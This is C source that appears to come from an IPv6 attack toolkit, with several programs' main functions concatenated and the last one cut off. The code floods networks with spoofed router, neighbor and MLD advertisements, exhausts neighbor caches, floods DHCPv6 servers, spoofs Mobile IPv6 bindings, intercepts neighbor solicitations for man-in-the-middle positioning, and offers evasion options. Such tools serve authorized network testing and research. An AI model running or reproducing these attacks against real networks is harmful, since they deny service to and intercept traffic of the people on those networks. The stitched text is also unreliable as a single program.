void check_packets(u_char * foo, const struct pcap_pkthdr *header, const unsigned char *data) { int len = header->caplen, pkt_len = 0, mlen = 10, olen; unsigned char *ptr = (unsigned char *) data, *pkt = NULL; char *smac, mac[6] = { 0, 0x0d, 0, 0x0d, 0x0d, 0x0e }; char mybuf[1024] = { 0x03, 0, 0, 0, 0, 8, 0, 2, 0, 0 }; if (len < 140 || data[20] != NXT_UDP || data[62] != 2) return; data += 62; len -= 62; memcpy(mybuf + 1, data + 1, 3); data += 4; len -= 4; while (len >= 4) { if ((olen = data[2] * 256 + data[3]) > len - 4 || olen < 0) { printf("Information: evil packet received\n"); olen = 0; len = -1; } else { if (data[1] > 1 && data[1] <= 3) { memcpy(mybuf + mlen, data, olen + 4); mlen += olen + 4; } else if (data[1] == 1) { memcpy(mybuf + mlen, data, olen + 4); mlen += olen + 4; //smac auf client mac in paket setzen if (olen == 14) smac = (char *) (data + 12); else smac = mac; } else if (data[1] == 39 && do_dns) { memcpy(mybuf + mlen, data, olen + 4); mybuf[mlen + 4] = 1; // force server to write dns entry mlen += olen + 4; } data += olen + 4; len -= olen + 4; if (len < 0) { printf("Information: evil packet received\n"); len = -1; } } } if (len >= 0) { counter++; if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ptr + 38, ptr + 22, 1, 0, 0, 0, 0)) == NULL) return; if (thc_add_udp(pkt, &pkt_len, 546, 547, 0, mybuf, mlen) < 0) return; if (thc_generate_and_send_pkt(interface, smac, ptr + 6, pkt, &pkt_len) < 0) return; pkt = thc_destroy_packet(pkt); if (counter % 100 == 0) printf("!"); } }
void send_rs_reply(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *pkt = NULL, *dstmac = (unsigned char *) data + 6, *dst = (unsigned char *) data + 14 + 8, *ipv6hdr = (unsigned char *) (data + 14); int pkt_len = 0, i; if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_ROUTERSOL || header->caplen < 14 + 40 + 2) return; if ((pkt = thc_create_ipv6(frint, PREFER_LINK, &pkt_len, frip6, dst, 255, 0, 0, 0xe0, 0)) == NULL) return; if (do_hop) { type = NXT_HBH; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, frbuf2len) < 0) return; } if (do_frag) { type = NXT_FRAG; for (i = 0; i <= do_frag; i++) if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, getpid() + (cnt++ << 16)) < 0) return; } if (do_dst) { if (type == NXT_ICMP6) type = NXT_DST; if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return; } if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, frbuf, frbuflen, 0) < 0) return; if (do_dst) { thc_generate_pkt(frint, frmac, dstmac, pkt, &pkt_len); frhdr = (thc_ipv6_hdr *) pkt; thc_send_as_fragment6(frint, frip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232); } else { if (thc_generate_and_send_pkt(frint, frmac, dstmac, pkt, &pkt_len) < 0) return; } pkt = thc_destroy_packet(pkt); }
int main(int argc, char *argv[]) { char *interface; int prefer = PREFER_GLOBAL; unsigned char *srcmac; unsigned char *dst6, *src6; unsigned char *ptr; //char dstmac[6] = ""; unsigned char *dstmac = NULL, *tmpmac, *dstnet; int pkt_len = 16; int count = 0; int i; int size, numbytes, samenet = 0; unsigned char *pkt = NULL; unsigned char buf[] = "NDP Exhaustion"; // hardcoded mac /*dstmac[0] = 0x00; dstmac[1] = 0x05; dstmac[2] = 0x73; dstmac[3] = 0xa0; dstmac[4] = 0x00; dstmac[5] = 0x01; */ setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); interface = argv[1]; if ((srcmac = thc_get_own_mac(interface)) == NULL) { printf("Error: invalid interface defined: %s\n", interface); exit(-1); } dstnet = argv[2]; // hier stehts dstnet drin if (dstnet == NULL || (ptr = index(dstnet, '/')) == NULL) { printf("Error: Option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. ff80::01/16\n"); exit(-1); } *ptr++ = 0; size = atoi(ptr); // prefix lenght // printf("Prefix length is %d\n", size); if (size != 64) fprintf(stderr, "Warning: unusual network prefix size defined, be sure what your are doing: %d\n", size); numbytes = (128 - size) / 8; // number of bytes to create // printf("Creating %d random adress bytes\n", numbytes); srand(time(NULL) + getpid()); // initalize random number generator dst6 = thc_resolve6(dstnet); // thc_dump_data(dst6, 16, "dst"); if (argc >= 4) src6 = thc_resolve6(argv[3]); else src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); // thc_dump_data(src6, 16, "src"); dstmac = thc_get_mac(interface, src6, dst6); printf("Starting to randomly ping addresses in network %s/%d on %s:\n", dstnet, size, interface); while (1) { ++count; for (i = 0; i < numbytes; i++) { dst6[16 - numbytes + i] = rand() % 256; // direct destination manipulation } if (count == 1) { tmpmac = thc_get_mac(interface, src6, dst6); if (tmpmac != NULL && dstmac != NULL && memcmp(dstmac, tmpmac, 6) == 0) samenet = 1; } else { if (samenet == 0) { free(dstmac); dstmac = thc_get_mac(interface, src6, dst6); } } // printf("%s\n", ip6adr); // printf("Sending ICMP ECHO to %s\n", ip6adr); if ((pkt = thc_create_ipv6(interface, prefer, &pkt_len, src6, dst6, 64, 0, 0, 0, 0)) == NULL) errx(EXIT_FAILURE, "THC: Could not create IPv6 packet\n"); if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, buf, sizeof(buf), 0) == -1) errx(EXIT_FAILURE, "THC: Could not add ICMP6 packet contents\n"); //thc_add_udp(pkt, &pkt_len, 53, 53, 0, buf, sizeof(buf)); if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) printf("!"); thc_destroy_packet(pkt); usleep(1); if (count % 100 == 0) printf("."); } }
int main(int argc, char *argv[]) { char *interface, mac[6] = ""; unsigned char *routerip6, *route6, *mac6 = mac, *ip6; unsigned char buf[56], buf2[6], buf3[1504]; unsigned char *dst = thc_resolve6("FF02::1"), *dstmac = thc_get_multicast_mac(dst); int size, mtu, i, type = NXT_ICMP6; unsigned char *pkt = NULL; int pkt_len = 0, rawmode = 0, count = 0, do_hop = 0, do_frag = 0, cnt, do_dst = 0; thc_ipv6_hdr *hdr = NULL; if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "DFHr")) >= 0) { switch (i) { case 'r': thc_ipv6_rawmode(1); rawmode = 1; break; case 'F': do_frag++; break; case 'H': do_hop = 1; break; case 'D': do_dst = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (argc - optind < 1) help(argv[0]); srand(time(NULL) + getpid()); setvbuf(stdout, NULL, _IONBF, 0); interface = argv[optind]; mtu = 1500; size = 64; ip6 = malloc(16); routerip6 = malloc(16); route6 = malloc(16); mac[0] = 0x00; mac[1] = 0x18; memset(ip6, 0, 16); ip6[0] = 0xfe; ip6[1] = 0x80; ip6[8] = 0x02; ip6[9] = mac[1]; ip6[11] = 0xff; ip6[12] = 0xfe; routerip6[0] = 0x2a; routerip6[1] = 0x01; routerip6[15] = 0x01; memset(route6 + 8, 0, 8); memset(buf2, 0, sizeof(buf2)); memset(buf3, 0, sizeof(buf3)); memset(buf, 0, sizeof(buf)); buf[1] = 250; buf[5] = 30; buf[8] = 5; buf[9] = 1; buf[12] = mtu / 16777216; buf[13] = (mtu % 16777216) / 65536; buf[14] = (mtu % 65536) / 256; buf[15] = mtu % 256; buf[16] = 3; buf[17] = 4; buf[18] = size; buf[19] = 128 + 64 + 32; memset(&buf[20], 255, 8); buf[48] = 1; buf[49] = 1; printf("Starting to flood network with router advertisements on %s (Press Control-C to end, a dot is printed for every 100 packet):\n", interface); while (1) { for (i = 2; i < 6; i++) mac[i] = rand() % 256; for (i = 2; i < 8; i++) routerip6[i] = rand() % 256; // ip6[9] = mac[1]; ip6[10] = mac[2]; ip6[13] = mac[3]; ip6[14] = mac[4]; ip6[15] = mac[5]; memcpy(route6, routerip6, 8); memcpy(&buf[32], route6, 16); memcpy(&buf[50], mac6, 6); count++; if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0, 0)) == NULL) return -1; if (do_hop) { type = NXT_HBH; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0) return -1; } if (do_frag) { if (type == NXT_ICMP6) type = NXT_FRAG; for (i = 0; i < do_frag; i++) if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0) return -1; } if (do_dst) { if (type == NXT_ICMP6) type = NXT_DST; if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return -1; } if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff08ffff, buf, sizeof(buf), 0) < 0) return -1; if (do_dst) { thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len); hdr = (thc_ipv6_hdr *) pkt; thc_send_as_fragment6(interface, ip6, dst, type, hdr->pkt + 40 + 14, hdr->pkt_len - 40 - 14, 1240); } else { if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) { fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface); perror(""); return -1; } } pkt = thc_destroy_packet(pkt); // usleep(1); if (count % 100 == 0) printf("."); } return 0; }
int main(int argc, char *argv[]) { char *interface, mac[6] = ""; unsigned char *mac6 = mac, *ip6 = thc_resolve6("fe80::ff:fe00:0"); unsigned char buf[6], buf2[RECORD_NUMBER * (4 + 16 + 16)]; unsigned char *dst = thc_resolve6("ff02::16"), *dstmac = thc_get_multicast_mac(dst); int i, j; unsigned char *pkt = NULL; int pkt_len = 0; int rawmode = 0; int count = 0; if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } srand(time(NULL) + getpid()); setvbuf(stdout, NULL, _IONBF, 0); interface = argv[1]; mac[0] = 0x00; mac[1] = 0x18; ip6[9] = mac[1]; memset(buf, 0, sizeof(buf)); buf[0] = 5; buf[1] = 2; memset(buf2, 0, sizeof(buf2)); for (i = 0; i < RECORD_NUMBER; i++) { buf2[0 + i * 36] = 3; // CHANGE_TO_INCLUDE_MODE buf2[3 + i * 36] = 1; buf2[4 + i * 36] = 0xff; buf2[5 + i * 36] = 0x02; memcpy(buf2 + 20 + i * 36, ip6, 16); } printf("Starting to flood network with MLDv2 reports on %s (Press Control-C to end, a dot is printed for every 100 packet):\n", interface); while (1) { for (i = 0; i < 4; i++) mac[2 + i] = rand() % 256; // ip6[9] = mac[1]; ip6[10] = mac[2]; ip6[13] = mac[3]; ip6[14] = mac[4]; ip6[15] = mac[5]; for (i = 0; i < RECORD_NUMBER; i++) { for (j = 0; j < 6; j++) buf2[14 + j + i * 36] = rand() % 256; memcpy(buf2 + 29 + i * 36, ip6 + 9, 7); } count++; if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 1, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, 6) < 0) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_MLD2_REPORT, 0, RECORD_NUMBER, buf2, sizeof(buf2), 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) { // fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface); // perror(""); // return -1; printf("!"); } pkt = thc_destroy_packet(pkt); // usleep(1); if (count % 100 == 0) printf("."); } return 0; }
int main(int argc, char *argv[]) { unsigned char *pkt1 = NULL; unsigned char *h = NULL, *ha = NULL, *coa = NULL, *mac = NULL; int pkt1_len = 0, rawmode = 0; unsigned int id = 2, i; char *interface; thc_ipv6_hdr *hdr; if (argc < 4 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } interface = argv[1]; h = thc_resolve6(argv[2]); ha = thc_resolve6(argv[3]); coa = thc_resolve6(argv[4]); if (rawmode == 0 && (mac = thc_get_mac(interface, coa, ha)) == NULL) { fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]); exit(-1); } for (i = 0; i < 4; i++) { memset(buf, 0, sizeof(buf)); buf[0] = 1; buf[1] = 2; buf[4] = 201; buf[5] = 16; memcpy(&buf[6], h, 16); buf_len = 22; if ((pkt1 = thc_create_ipv6(interface, PREFER_GLOBAL, &pkt1_len, coa, ha, 64, 0, 0, 0, 0)) == NULL) return -1; hdr = (thc_ipv6_hdr *) pkt1; hdr->original_src = h; if (thc_add_hdr_dst(pkt1, &pkt1_len, buf, buf_len) < 0) return -1; memset(buf, 0, sizeof(buf)); buf[0] = 59; buf[1] = 3; buf[2] = 5; buf[3] = 0; buf[6] = (id % 65536) / 256; buf[7] = id % 256; buf[8] = 192; buf[10] = 0xff; buf[11] = 0xff; buf[12] = 1; buf[14] = 3; buf[15] = 16; memcpy(&buf[16], coa, 16); buf_len = 32; if (thc_add_data6(pkt1, &pkt1_len, NXT_MIPV6, buf, buf_len) < 0) return -1; thc_generate_and_send_pkt(interface, NULL, mac, pkt1, &pkt1_len); id += 16384; } return 0; }
int main(int argc, char *argv[]) { char mac[6] = { 0, 0x0c, 0, 0, 0, 0 }, *pkt = NULL; char wdatabuf[1024]; unsigned char *mac6 = mac, *src, *dst; int i, s, len, pkt_len = 0, dlen = 0; unsigned long long int count = 0; pcap_t *p = NULL; int do_all = 1, use_real_mac = 0, use_real_link = 0; if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "dnNr1")) >= 0) { switch (i) { case 'N': use_real_link = 1; // no break case 'n': use_real_mac = 1; break; case '1': do_all = 0; case 'd': do_dns = 1; case 'r': i = 0; break; // just to ignore -r default: fprintf(stderr, "Error: unknown option -%c\n", i); exit(-1); } } memset(mac, 0, sizeof(mac)); interface = argv[optind]; dns_name = argv[optind + 1]; if (use_real_link) src = thc_get_own_ipv6(interface, NULL, PREFER_LINK); else src = thc_resolve6("fe80::"); if (use_real_mac) mac6 = thc_get_own_mac(interface); dst = thc_resolve6("FF02::1:2"); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); // only to prevent our system to send icmp port unreachable messages if ((s = thc_bind_udp_port(546)) < 0) fprintf(stderr, "Warning: could not bind to 546/udp\n"); if ((p = thc_pcap_init_promisc(interface, "ip6 and udp and dst port 546")) == NULL) { fprintf(stderr, "Error: can not open interface %s in promisc mode\n", interface); exit(-1); } len = sizeof(solicit); memcpy(wdatabuf, solicit, len); if (do_dns) { memcpy(wdatabuf + len, dnsupdate1, sizeof(dnsupdate1)); dlen = len + 8; len += sizeof(dnsupdate1); if (dns_name != NULL && strlen(dns_name) < 240) { if (dns_name[0] != '.') { wdatabuf[len] = '.'; wdatabuf[dlen - 5]++; wdatabuf[dlen - 3]++; len++; } memcpy(wdatabuf + len, dns_name, strlen(dns_name) + 1); wdatabuf[dlen - 5] += strlen(dns_name) + 1; wdatabuf[dlen - 3] += strlen(dns_name) + 1; len += strlen(dns_name) + 1; } memcpy(wdatabuf + len, dnsupdate2, sizeof(dnsupdate2)); len += sizeof(dnsupdate2); } printf("Starting to flood dhcp6 servers locally on %s (Press Control-C to end) ...\n\n", interface); while (1) { count++; if (!use_real_link) memcpy(src + 8, (char *) &count, 8); // start0: 1-3 rand, 18-21 rand, 22-27 mac, 32-35 rand for (i = 0; i < 3; i++) { wdatabuf[i + 32] = rand() % 256; wdatabuf[i + 18] = rand() % 256; mac[i + 2] = rand() % 256; if (do_dns) wdatabuf[i + dlen] = 'a' + rand() % 26; } if (!use_real_mac) memcpy(wdatabuf + 22, mac, 6); memcpy(wdatabuf + 1, (char *) &count, 3); if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, src, dst, 1, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_udp(pkt, &pkt_len, 546, 547, 0, wdatabuf, len) < 0) return -1; // we have to tone it down, otherwise we will not get advertisements if (thc_generate_and_send_pkt(interface, mac6, NULL, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (do_all) { usleep(75); while (thc_pcap_check(p, (char *) check_packets, NULL) > 0); } if (count % 100 == 0) printf("."); } return 0; // never reached }
int main(int argc, char *argv[]) { char dummy[24], mac[16] = "", buf2[6], buf3[1398]; unsigned char *ownmac = mac; int i, j; if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]); if (debug) printf("Preparing spoofed packet for speed-up\n"); while ((i = getopt(argc, argv, "FHDRl")) >= 0) { switch (i) { case 'F': do_frag++; break; case 'H': do_hop = 1; break; case 'D': do_dst = 1; break; case 'R': do_reverse = 1; break; case 'l': do_loop = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (argc - optind < 1) help(argv[0]); interface = argv[optind]; if (argc - optind == 2 && argv[optind + 1] != NULL) sscanf(argv[optind + 1], "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4], (unsigned int *) &mac[5]); else ownmac = thc_get_own_mac(interface); memset(dummy, 'X', sizeof(dummy)); dummy[16] = 2; dummy[17] = 1; memcpy(&dummy[18], ownmac, 6); memset(buf2, 0, sizeof(buf2)); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); for (i = 0; i <= 0 + do_reverse; i++) { // printf("i: %d\n", i); if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, dummy, dummy, 255, 0, 0, 0, 0)) == NULL) return -1; if (do_hop) { ptype = NXT_HBH; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0) return -1; } if (do_frag) { if (ptype == NXT_ICMP6) ptype = NXT_FRAG; for (j = 0; j < do_frag; j++) if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0) return -1; } if (do_dst) { if (ptype == NXT_ICMP6) ptype = NXT_DST; if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return -1; } if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, ICMP6_NEIGHBORADV_SOLICIT | ICMP6_NEIGHBORADV_OVERRIDE, dummy, 24, 0) < 0) return -1; if (thc_generate_pkt(interface, ownmac, dummy, pkt, &pkt_len) < 0) return -1; ipv6 = (thc_ipv6_hdr *) pkt; memset(ipv6->pkt + 56 + (do_dst * 1400) + (do_hop + do_frag) * 8, 0, 2); // reset checksum to zero if (debug) { thc_dump_data(ipv6->pkt, ipv6->pkt_len, "Prepared spoofing packet"); printf("\n"); } // printf("i: %d, do_reverse: %d\n", i, do_reverse); if (i == 0 && do_reverse) { // printf("ipv62->ipv6 %p\n", ipv6); ipv62 = ipv6; ipv62->pkt[0] = 0x33; // multicast mac hack for destination ipv62->pkt[1] = 0x33; // multicast mac hack for destination ipv6 = NULL; pkt2 = pkt; pkt = NULL; pkt2_len = pkt_len; pkt_len = 0; ipv62->pkt[pkt2_len - 28] = 0x20; // reset SOL flag, OVERRIDE only } } signal(SIGTERM, kill_children); signal(SIGSEGV, kill_children); signal(SIGHUP, kill_children); signal(SIGINT, kill_children); memset((char*)pp, 0, sizeof(pp)); printf("Remember to enable routing (ip_forwarding), you will denial service otherwise!\n"); printf(" => echo 1 > /proc/sys/net/ipv6/conf/all/forwarding\n"); printf("Started ICMP6 Neighbor Solitication Interceptor (Press Control-C to end) ...\n"); return thc_pcap_function(interface, "icmp6", (char *) intercept, 1, NULL); }
int main(int argc, char *argv[]) { char *interface, mac[6] = ""; unsigned char *mac6 = mac, *ip6 = thc_resolve6("fe80::ff:fe00:0"); unsigned char buf[6]; unsigned char *dst = thc_resolve6("ff02:0:0:0:0:0:0:6a"), *dstmac = thc_get_multicast_mac(dst); int i; unsigned char *pkt = NULL; int pkt_len = 0; int rawmode = 0; int count = 0; if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } srand(time(NULL) + getpid()); setvbuf(stdout, NULL, _IONBF, 0); interface = argv[1]; memset(buf, 0, sizeof(buf)); mac[0] = 0x00; mac[1] = 0x18; ip6[9] = mac[1]; printf("Starting to flood network with MLD router advertisements on %s (Press Control-C to end, a dot is printed for every 100 packet):\n", interface); while (1) { for (i = 0; i < 4; i++) mac[2 + i] = rand() % 256; // ip6[9] = mac[1]; ip6[10] = mac[2]; ip6[13] = mac[3]; ip6[14] = mac[4]; ip6[15] = mac[5]; count++; if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 1, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_MLD_ROUTERADV, 15, 0x00300006, buf, 0, 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) { // fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface); // perror(""); // return -1; printf("!"); } pkt = thc_destroy_packet(pkt); // usleep(1); if (count % 100 == 0) printf("."); } return 0; }
int main(int argc, char *argv[]) { char *interface, mac[6] = ""; unsigned char *mac6 = mac, *ip6; unsigned char buf[24]; unsigned char *dst = thc_resolve6("FF02::1"), *dstmac = thc_get_multicast_mac(dst); int i; unsigned char *pkt = NULL; int pkt_len = 0, flags, rawmode = 0, count = 0; if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } srand(time(NULL) + getpid()); setvbuf(stdout, NULL, _IONBF, 0); interface = argv[1]; ip6 = malloc(16); mac[0] = 0x00; mac[1] = 0x18; memset(ip6, 0, 16); ip6[0] = 0xfe; ip6[1] = 0x80; ip6[8] = 0x02; ip6[9] = mac[1]; ip6[11] = 0xff; ip6[12] = 0xfe; memset(buf, 0, sizeof(buf)); buf[16] = 2; buf[17] = 1; buf[18] = mac[0]; buf[19] = mac[1]; memcpy(buf, ip6, 16); printf("Starting to flood network with neighbor advertisements on %s (Press Control-C to end, a dot is printed for every 100 packet):\n", interface); while (1) { for (i = 2; i < 6; i++) mac[i] = rand() % 256; // ip6[9] = mac[1]; ip6[10] = mac[2]; ip6[13] = mac[3]; ip6[14] = mac[4]; ip6[15] = mac[5]; count++; memcpy(buf + 10, ip6 + 10, 6); memcpy(&buf[20], mac + 2, 4); flags = ICMP6_NEIGHBORADV_OVERRIDE; if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, flags, buf, sizeof(buf), 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) { fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface); perror(""); return -1; } pkt = thc_destroy_packet(pkt); // usleep(1); if (count % 100 == 0) printf("."); } return 0; }
int main(int argc, char *argv[]) { char *interface, mac[16] = "", dmac[16] = ""; unsigned char *routerip6, *mac6 = NULL, *ip6 = NULL; unsigned char buf[512], *ptr, buf2[6], buf4[6], string[] = "ip6 and icmp6 and dst ff02::2"; unsigned char rbuf[MAX_ENTRIES + 1][17], pbuf[MAX_ENTRIES + 1][17], *dbuf[MAX_ENTRIES + 1]; unsigned char *dst = thc_resolve6("ff02::1"); unsigned char *dstmac = thc_get_multicast_mac(dst); unsigned char *dns = NULL; int size, mtu = 0, i, j, k, l, m, n, rcnt = 0, pcnt = 0, dcnt = 0, sent = 0; unsigned char *pkt = NULL, *pkt1, *pkt2, *searchlist = NULL; int pkt_len = 0, pkt_len1, pkt_len2; pcap_t *p; if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); memset(rbuf, 0, sizeof(rbuf)); memset(mac, 0, sizeof(mac)); while ((i = getopt(argc, argv, "i:r:E:R:M:m:S:s:D:L:A:a:r:d:t:T:p:n:l:F:")) >= 0) { switch (i) { case 'i': interval = atoi(optarg); break; case 'm': sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *) &dmac[0], (unsigned int *) &dmac[1], (unsigned int *) &dmac[2], (unsigned int *) &dmac[3], (unsigned int *) &dmac[4], (unsigned int *) &dmac[5]); dstmac = dmac; break; case 'S': sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4], (unsigned int *) &mac[5]); mac6 = mac; break; case 's': if ((ip6 = thc_resolve6(optarg)) == NULL) { fprintf(stderr, "Error: can not resolve source ip address %s\n", optarg); exit(-1); } break; case 'M': mtu = atoi(optarg); if (mtu < 0 || mtu > 65535) { fprintf(stderr, "Error: mtu argument is invalid: %s\n", optarg); exit(-1); } if (mtu < 1228 || mtu > 1500) fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are doing: %d\n", mtu); break; case 'n': to_send = atoi(optarg); if (to_send < 1 || mtu > 255) { fprintf(stderr, "Error: -n argument is invalid, must be between 1 and 255: %s\n", optarg); exit(-1); } break; case 'A': if (pcnt >= MAX_ENTRIES) { fprintf(stderr, "Error: you can not define more than %d autoconfig addresses\n", MAX_ENTRIES); exit(-1); } if (optarg == NULL || (ptr = index(optarg, '/')) == NULL) { fprintf(stderr, "Error: -A option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. fd00::/64 : %s\n", optarg); exit(-1); } *ptr++ = 0; if ((size = atoi(ptr)) < 0 && size > 255) { // yes we allow bad sizes :-) fprintf(stderr, "Error: -A option prefix length must be between 0 and 128: %s\n", optarg); exit(-1); } if (size != 64) fprintf(stderr, "Warning: -A option defines an unusual prefix length: %d\n", size); if (index(optarg, ':') == NULL) strcat(optarg, "::"); if ((routerip6 = thc_resolve6(optarg)) == NULL) { fprintf(stderr, "Error: -A option network is invalid: %s\n", optarg); exit(-1); } pbuf[pcnt][0] = size % 256; memcpy((char *) &pbuf[pcnt][1], routerip6, 16); pcnt++; break; case 'a': plife = atoi(optarg); break; case 'r': rlife = atoi(optarg); break; case 'd': dlife = atoi(optarg); break; case 'l': llife = atoi(optarg); break; case 'T': reach = atoi(optarg); break; case 't': trans = atoi(optarg); break; case 'p': if (strncasecmp(optarg, "low", 3) == 0) prio = 0; else if (strncasecmp(optarg, "med", 3) == 0) prio = 1; else if (strncasecmp(optarg, "hi", 2) == 0) prio = 2; else if (strncasecmp(optarg, "res", 3) == 0) prio = 3; else { fprintf(stderr, "Error: unknown priority, known keywords are low, medium and high: %s\n", optarg); exit(-1); } break; case 'R': if (rcnt >= MAX_ENTRIES) { fprintf(stderr, "Error: you can not define more than %d routes\n", MAX_ENTRIES); exit(-1); } if (optarg == NULL || (ptr = index(optarg, '/')) == NULL) { fprintf(stderr, "Error: -R option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. fd00::/64 : %s\n", optarg); exit(-1); } *ptr++ = 0; if ((size = atoi(ptr)) < 0 && size > 255) { // yes we allow bad sizes :-) fprintf(stderr, "Error: -R option prefix length must be between 0 and 128: %s\n", optarg); exit(-1); } if (index(optarg, ':') == NULL) strcat(optarg, "::"); if ((routerip6 = thc_resolve6(optarg)) == NULL) { fprintf(stderr, "Error: -R option network is invalid: %s\n", optarg); exit(-1); } rbuf[rcnt][0] = size % 256; memcpy((char *) &rbuf[rcnt][1], routerip6, 16); rcnt++; break; case 'D': if (dcnt >= MAX_ENTRIES) { fprintf(stderr, "Error: you can not define more than %d DNS servers\n", MAX_ENTRIES); exit(-1); } if ((dbuf[dcnt++] = thc_resolve6(optarg)) == NULL) { fprintf(stderr, "Error: can not resolve DNS server %s\n", optarg); exit(-1); } break; case 'L': searchlist = optarg; break; case 'E': if (optarg == NULL) { fprintf(stderr, "Error: no option type given for -E\n"); exit(-1); } for (j = 0; j < strlen(optarg); j++) { switch (optarg[j]) { // fall through to be fail safe on accidental misuse case '0': // fall through case 'O': do_overlap = 1; break; case 'o': do_overlap = 2; break; case '1': // fall through case 'l': // fall through case 'L': do_frag++; break; case 'h': // fall through case 'H': do_hop = 1; break; case 'd': // fall through case 'D': do_dst = 1; break; default: fprintf(stderr, "Error: unknown evasion type %c!\n", optarg[j]); exit(-1); } if ((do_frag && (do_dst || do_overlap)) || (do_dst && do_overlap)) { fprintf(stderr, "Error: you can not use -E types 1, D, O and o together!\n"); exit(-1); } } break; case 'F': ptr = strtok(optarg, ","); while (ptr != NULL) { if (strncasecmp(ptr, "man", 3) == 0) flags = (flags | 128); else if (strncasecmp(ptr, "oth", 3) == 0) flags = (flags | 64); else if (strncasecmp(ptr, "hom", 3) == 0) flags = (flags | 32); else if (strncasecmp(ptr, "prox", 4) == 0) flags = (flags | 4); else if (strncasecmp(ptr, "res", 3) == 0) flags = (flags | 2); else if (strncasecmp(ptr, "unk", 3) == 0) flags = (flags | 1); else { fprintf(stderr, "Error: unknown flag: %s\n", ptr); 